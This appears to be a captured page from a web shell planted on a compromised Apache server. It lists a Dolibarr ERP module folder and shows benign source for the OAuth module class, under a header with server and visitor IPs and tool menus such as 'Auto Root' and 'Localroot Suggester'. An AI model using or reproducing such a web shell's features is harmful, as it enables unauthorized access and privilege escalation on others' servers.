Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.35
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html /
hermes.bdcloud.fr /
core /
modules /
Delete
Unzip
Name
Size
Permission
Date
Action
action
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
bank
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
barcode
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
bom
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
cheque
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
commande
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
contract
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
dons
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
expedition
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
expensereport
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
export
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
facture
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
fichinter
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
holiday
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
import
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
livraison
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
mailings
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
member
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
mrp
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
oauth
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
payment
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
printing
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
printsheet
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
product
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
product_batch
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
project
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
propale
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
rapport
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
reception
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
security
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
societe
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
stock
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
supplier_invoice
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
supplier_order
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
supplier_payment
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
supplier_proposal
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
syslog
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
takepos
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
ticket
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
user
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
usergroup
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
website
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
DolibarrModules.class.php
82.12
KB
-rw-r--r--
2020-10-31 14:38
index.html
0
B
-rw-r--r--
2020-10-31 14:38
modAccounting.class.php
13.37
KB
-rw-r--r--
2020-10-31 14:38
modAdherent.class.php
19.92
KB
-rw-r--r--
2020-10-31 14:38
modAgenda.class.php
18.42
KB
-rw-r--r--
2020-10-31 14:38
modApi.class.php
13.63
KB
-rw-r--r--
2020-10-31 14:38
modAsset.class.php
11.78
KB
-rw-r--r--
2020-10-31 14:38
modBanque.class.php
10.26
KB
-rw-r--r--
2020-10-31 14:38
modBarcode.class.php
8.09
KB
-rw-r--r--
2020-10-31 14:38
modBlockedLog.class.php
9.93
KB
-rw-r--r--
2020-10-31 14:38
modBom.class.php
22.32
KB
-rw-r--r--
2020-10-31 14:38
modBookmark.class.php
3.51
KB
-rw-r--r--
2020-10-31 14:38
modCashDesk.class.php
5.65
KB
-rw-r--r--
2020-10-31 14:38
modCategorie.class.php
25.97
KB
-rw-r--r--
2020-10-31 14:38
modClickToDial.class.php
2.32
KB
-rw-r--r--
2020-10-31 14:38
modCollab.class.php
5.01
KB
-rw-r--r--
2020-10-31 14:38
modCommande.class.php
14.33
KB
-rw-r--r--
2020-10-31 14:38
modComptabilite.class.php
3.76
KB
-rw-r--r--
2020-10-31 14:38
modContrat.class.php
10.61
KB
-rw-r--r--
2020-10-31 14:38
modCron.class.php
5.96
KB
-rw-r--r--
2020-10-31 14:38
modDataPolicy.class.php
17.1
KB
-rw-r--r--
2020-10-31 14:38
modDav.class.php
17.24
KB
-rw-r--r--
2020-10-31 14:38
modDebugBar.class.php
3.69
KB
-rw-r--r--
2020-10-31 14:38
modDeplacement.class.php
6.34
KB
-rw-r--r--
2020-10-31 14:38
modDocumentGeneration.class.php
3.45
KB
-rw-r--r--
2020-10-31 14:38
modDon.class.php
5.27
KB
-rw-r--r--
2020-10-31 14:38
modDynamicPrices.class.php
2.93
KB
-rw-r--r--
2020-10-31 14:38
modECM.class.php
6.36
KB
-rw-r--r--
2020-10-31 14:38
modEmailCollector.class.php
24.4
KB
-rw-r--r--
2020-10-31 14:38
modExpedition.class.php
15.9
KB
-rw-r--r--
2020-10-31 14:38
modExpenseReport.class.php
11.07
KB
-rw-r--r--
2020-10-31 14:38
modExport.class.php
2.93
KB
-rw-r--r--
2020-10-31 14:38
modExternalRss.class.php
4.25
KB
-rw-r--r--
2020-10-31 14:38
modExternalSite.class.php
4.43
KB
-rw-r--r--
2020-10-31 14:38
modFTP.class.php
4.45
KB
-rw-r--r--
2020-10-31 14:38
modFacture.class.php
23.4
KB
-rw-r--r--
2022-07-27 13:28
modFckeditor.class.php
3.62
KB
-rw-r--r--
2020-10-31 14:38
modFicheinter.class.php
10.73
KB
-rw-r--r--
2020-10-31 14:38
modFournisseur.class.php
34.82
KB
-rw-r--r--
2020-10-31 14:38
modGeoIPMaxmind.class.php
3.41
KB
-rw-r--r--
2020-10-31 14:38
modGravatar.class.php
10.65
KB
-rw-r--r--
2020-10-31 14:38
modHRM.class.php
4.4
KB
-rw-r--r--
2020-10-31 14:38
modHoliday.class.php
16.62
KB
-rw-r--r--
2020-10-31 14:38
modImport.class.php
3.33
KB
-rw-r--r--
2020-10-31 14:38
modIncoterm.class.php
4.31
KB
-rw-r--r--
2020-10-31 14:38
modLabel.class.php
3.85
KB
-rw-r--r--
2020-10-31 14:38
modLdap.class.php
3.99
KB
-rw-r--r--
2020-10-31 14:38
modLoan.class.php
4.72
KB
-rw-r--r--
2020-10-31 14:38
modMailing.class.php
5.47
KB
-rw-r--r--
2020-10-31 14:38
modMailmanSpip.class.php
3.68
KB
-rw-r--r--
2020-10-31 14:38
modMargin.class.php
6.54
KB
-rw-r--r--
2020-10-31 14:38
modModuleBuilder.class.php
4.4
KB
-rw-r--r--
2020-10-31 14:38
modMrp.class.php
21.56
KB
-rw-r--r--
2020-10-31 14:38
modMultiCurrency.class.php
17.96
KB
-rw-r--r--
2020-10-31 14:38
modNotification.class.php
3.59
KB
-rw-r--r--
2020-10-31 14:38
modOauth.class.php
6.15
KB
-rw-r--r--
2020-10-31 14:38
modOpenSurvey.class.php
8.02
KB
-rw-r--r--
2020-10-31 14:38
modPaybox.class.php
10.81
KB
-rw-r--r--
2020-10-31 14:38
modPaymentByBankTransfer.class.php
4.87
KB
-rw-r--r--
2020-10-31 14:38
modPaypal.class.php
11.41
KB
-rw-r--r--
2020-10-31 14:38
modPrelevement.class.php
5.21
KB
-rw-r--r--
2020-10-31 14:38
modPrinting.class.php
5.41
KB
-rw-r--r--
2020-10-31 14:38
modProduct.class.php
46.62
KB
-rw-r--r--
2020-10-31 14:38
modProductBatch.class.php
4.54
KB
-rw-r--r--
2020-10-31 14:38
modProjet.class.php
19.37
KB
-rw-r--r--
2020-10-31 14:38
modPropale.class.php
15.04
KB
-rw-r--r--
2020-10-31 14:38
modReceiptPrinter.class.php
7.32
KB
-rw-r--r--
2020-10-31 14:38
modReception.class.php
13.4
KB
-rw-r--r--
2020-10-31 14:38
modResource.class.php
13.16
KB
-rw-r--r--
2020-10-31 14:38
modSalaries.class.php
6.68
KB
-rw-r--r--
2020-10-31 14:38
modService.class.php
45.04
KB
-rw-r--r--
2020-10-31 14:38
modSocialNetworks.class.php
3.48
KB
-rw-r--r--
2020-10-31 14:38
modSociete.class.php
37.1
KB
-rw-r--r--
2020-10-31 14:38
modStock.class.php
21.07
KB
-rw-r--r--
2020-10-31 14:38
modStripe.class.php
7.08
KB
-rw-r--r--
2020-10-31 14:38
modSupplierProposal.class.php
7.42
KB
-rw-r--r--
2020-10-31 14:38
modSyslog.class.php
4.25
KB
-rw-r--r--
2020-10-31 14:38
modTakePos.class.php
16.55
KB
-rw-r--r--
2020-10-31 14:38
modTax.class.php
8.28
KB
-rw-r--r--
2020-10-31 14:38
modTicket.class.php
14.44
KB
-rw-r--r--
2020-10-31 14:38
modUser.class.php
14.62
KB
-rw-r--r--
2020-10-31 14:38
modVariants.class.php
4.72
KB
-rw-r--r--
2020-10-31 14:38
modWebServices.class.php
3.16
KB
-rw-r--r--
2020-10-31 14:38
modWebServicesClient.class.php
3.21
KB
-rw-r--r--
2020-10-31 14:38
modWebsite.class.php
7.93
KB
-rw-r--r--
2020-10-31 14:38
modWorkflow.class.php
7.75
KB
-rw-r--r--
2020-10-31 14:38
modZapier.class.php
21.12
KB
-rw-r--r--
2020-10-31 14:38
Save
Rename
<?php /* Copyright (C) 2014-2015 Laurent Destailleur <eldy@users.sourceforge.net> * Copyright (C) 2015 Frederic France <frederic.france@free.fr> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <https://www.gnu.org/licenses/>. */ /** \defgroup oauth Module oauth * \brief Module for activation of Oauth for several Api Access */ /** * \file htdocs/core/modules/modOauth.class.php * \ingroup oauth * \brief File of class to describe and activate module Oauth */ include_once DOL_DOCUMENT_ROOT.'/core/modules/DolibarrModules.class.php'; /** * Class to describe and activate module OAuth */ class modOauth extends DolibarrModules { /** * Constructor * * @param DoliDB $db Database handler */ public function __construct($db) { $this->db = $db; $this->numero = 66000; // Family can be 'crm','financial','hr','projects','products','ecm','technic','other' // It is used to group modules in module setup page $this->family = "interface"; $this->module_position = '31'; // Module label (no space allowed), used if translation string 'ModuleXXXName' not found (where XXX is value of numeric property 'numero' of module) $this->name = preg_replace('/^mod/i', '', get_class($this)); // Module description, used if translation string 'ModuleXXXDesc' not found (where XXX is value of numeric property 'numero' of module) $this->description = "Enable OAuth authentication"; // Possible values for version are: 'development', 'experimental', 'dolibarr' or 'dolibarr_deprecated' or version $this->version = 'dolibarr'; $this->const_name = 'MAIN_MODULE_'.strtoupper($this->name); // Name of image file used for this module. // If file is in theme/yourtheme/img directory under name object_pictovalue.png, use this->picto='pictovalue' // If file is in module/img directory under name object_pictovalue.png, use this->picto='pictovalue@module' $this->picto = 'technic'; // Data directories to create when module is enabled. $this->dirs = array(); // Config pages $this->config_page_url = array("oauth.php"); // Dependencies $this->hidden = false; // A condition to hide module $this->depends = array(); // List of module class names as string that must be enabled if this module is enabled $this->requiredby = array(); // List of module ids to disable if this one is disabled $this->conflictwith = array(); // List of module class names as string this module is in conflict with $this->phpmin = array(5, 4); // Minimum version of PHP required by module // Minimum version of PHP required by module $this->need_dolibarr_version = array(3, 7, -2); // Minimum version of Dolibarr required by module $this->conflictwith = array(); $this->langfiles = array("oauth"); // Constants $this->const = array(); // Boxes $this->boxes = array(); // Permissions $this->rights = array(); $this->rights_class = 'oauth'; $r = 0; // $this->rights[$r][0] Id permission (unique tous modules confondus) // $this->rights[$r][1] Libelle par defaut si traduction de cle "PermissionXXX" non trouvee (XXX = Id permission) // $this->rights[$r][2] Non utilise // $this->rights[$r][3] 1=Permis par defaut, 0=Non permis par defaut // $this->rights[$r][4] Niveau 1 pour nommer permission dans code // $this->rights[$r][5] Niveau 2 pour nommer permission dans code /*$r++; $this->rights[$r][0] = 66000; $this->rights[$r][1] = 'OauthAccess'; $this->rights[$r][2] = 'r'; $this->rights[$r][3] = 0; $this->rights[$r][4] = 'read';*/ // Main menu entries $this->menus = array(); // List of menus to add $r = 0; // This is to declare the Top Menu entry: //$this->menu[$r]=array( 'fk_menu'=>'fk_mainmenu=home,fk_leftmenu=admintools', // Put 0 if this is a top menu // 'type'=>'left', // This is a Top menu entry // 'titre'=>'MenuOauth', // 'mainmenu'=>'oauth', // 'url'=>'/oauth/index.php', // 'langs'=>'oauth', // Lang file to use (without .lang) by module. File must be in langs/code_CODE/ directory. // 'position'=>300, // 'enabled'=>'$conf->oauth->enabled && preg_match(\'/^(admintools|all)/\',$leftmenu)', // 'perms'=>'$user->rights->oauth->read', // Use 'perms'=>'1' if you want your menu with no permission rules // 'target'=>'', // 'user'=>0); // 0=Menu for internal users, 1=external users, 2=both //$r++; } /** * Function called when module is enabled. * The init function add constants, boxes, permissions and menus (defined in constructor) into Dolibarr database. * It also creates data directories * * @param string $options Options when enabling module ('', 'noboxes') * @return int 1 if OK, 0 if KO */ public function init($options = '') { global $conf; // Clean before activation $this->remove($options); $sql = array(); return $this->_init($sql, $options); } }